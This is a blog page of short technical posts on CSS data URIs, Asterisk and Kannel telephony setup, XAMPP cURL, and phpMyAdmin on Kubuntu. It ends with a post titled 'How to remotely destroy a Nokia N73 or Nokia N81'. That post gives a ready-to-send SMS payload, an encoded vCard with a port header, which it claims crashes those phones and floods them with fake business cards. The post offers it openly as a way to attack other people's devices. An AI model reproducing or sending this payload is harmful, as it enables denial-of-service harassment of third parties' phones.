Skip to main content

Posts

One way to reduce HTTP requests

CSS Data URI's are a way to encode images directly into CSS.  This helps to reduce the number of HTTP requests on your server.  For example:  Instead of linking to an external resource like a background image, your CSS can have the image available within it.  As soon as the CSS is loaded the browser is ready to render the image. This can have real speed advantages, especially if the browser is configured to limit the number of connections to a host.  By freeing up a connection you can improve your rendering time. Another advantage is that if you are serving across a secure connection then all of your page elements can originate from the same, secure site, and not generate those annoying warnings to your visitors that some elements are not secure. More information on CSS data URI is available at http://en.wikipedia.org/wiki/Data_URI_scheme Spritebaker ( http://http://www.spritebaker.com/ ) offers a free web-service.  They will take your CSS and parse...

Fixing mySQL CDR module compile error for Asterisk 1.6 in Ubuntu

There is a bug in the Ubuntu release (still in 10.04) that causes a mismatch between the Asterisk 1.6 package and its addon package. This results in the error message: WARNING[4238] loader.c: Module 'app_addon_sql_mysql.so' was not compiled with the same compile-time options as this version of Asterisk. To produce this error you just need to apt-get install asterisk-mysql in an effort to get the cdr logging to a mySQL database (assuming that you also used aptitude to install Asterisk 1.6 of course). In order to fix it do the following: aptitude purge asterisk-mysql apt-get build-dep asterisk-mysql apt-get -b source asterisk-mysql dpkg -i asterisk-mysql_1.6.2.0-1_i386.deb Do this in a temp folder as it will create a number of .deb packages. You may need to change the filename depending on your hardware architecture. The idea is to uninstall the faulty package that Ubuntu created and then compile a copy of the addons that matches the current Asterisk version. Since you've h...

Kannel Configuration

It took a whole day in front of an ssh screen onto my server to get Kannel up and running, but I finally managed to get a box ready to be tested. A very useful resource is the SMSC emulator from Selenium Software . They're kind enough to give it away, and it is definitely the pick of the litter compared to the other free options. I needed this because for some reason Kannel wasn't liking the fake SMSC setting. I had noticed that the binary file they refer to in their documentation was missing from my install (a Debian apt-get install kannel default). So I thought I would rather emulate an SMSC than fiddle with trying to get the fake one running. I had a few errors that were baffling due to the lack of thorough documentation, but the users@kannel.org list (subscription needed to send to it) was awesomely helpful. Within an hour of posting my config files and outlining what I had tried I had a solution thanks to a tip from them. The mailing list is searchable so it can take...

Getting cURL to work in XAMPP

I'm playing around with installing Magento in XAMPP at the moment and discovered that the XAMPP package does not ship with cURL enabled by default. Getting cURL to work in XAMPP was very simple: 1) Find the php.ini file (in \xampp\php ) 2) Open it in your favourite text editor and search for "curl" 3) You should see a line like this --> ;extension=php_curl.dll 4) Remove the semi-colon to uncomment the line and enable cURL 5) Restart the Apache server Of course this was also easy on my Kubuntu Linux box: sudo apt-get install php5-curl sudo apache2ctl restart

Installing PHPmyadmin on Kubuntu 9.10

I've now nearly fully given up on suckling from the breast of Microsoft. My little Linux laptop is now a fully functioning development box. I must say that so far I have had no separation anxiety as a result of leaving behind the sweaty manboobs of Microsoft and moving on to a more solid diet. Anyway installing PHPmyadmin is a cinch. I used Kpackagemanager (the Ubuntu version is Synaptic) to get the package. In retrospect I prefer the Debian apt-get approach of the command line but I like the GUI for its ability to search through all packages to discover cool new toys. The only trick to installing PHPmyadmin is that you need to reconfigure it once it is up. Jump to a Konsole and run the command: sudo dpkg-reconfigure -plow phpmyadmin This will give you the configuration options that the GUI installer does not. Specifically it sets up the config files so that Apache knows to alias the /phpmyadmin directory to the proper /etc/phpmyadmin. If for some reason (as was the...

Asterisk Open Source g.729 driver

Asterisk is an Open Source "all in one" telephony system. It's really hard to configure, but that's a story for another day. Asterisk and g.729 Asterisk supports the g.729 codec to compress audio. Digium, the guys who support Asterisk development, have a commercial offering on their site . There however is an open source g.729 codec implementation for Asterisk developed available ( click here, for some reason Blogger is hiding my link ). Installation questions are answered in the discussion on the Google group ( here ), but the installation is actually very simple. All you need to do is wget the appropriate file to your /usr/lib/asterisk/modules directory and then mv it to codec_g729.so (or codec_g723.so as may be). It should take you only a few minutes to work out which file version to download. Other Asterisk resource links I found these links to be invaluable in sorting out my installation: Click on this link if you are getting a Non existent user in As...

How to remotely destroy a Nokia N73 or Nokia N81

Send them an SMS with this text: //SCKL23F423F4990101 424547494e3a56434152440d0a464e3a43656c6c736d617274204a48420d0a54454c3b505245463a2b32373131363436373335330d0a454e443a56434152440d0a This is a vCard formatted according to the guidelines on the Nokia developer forums that for some reason crashes a Nokia N73 or Nokia N81. It causes them to receive hundreds of fake business cards. Even if they take the SIM card out they will continue to receive the cards.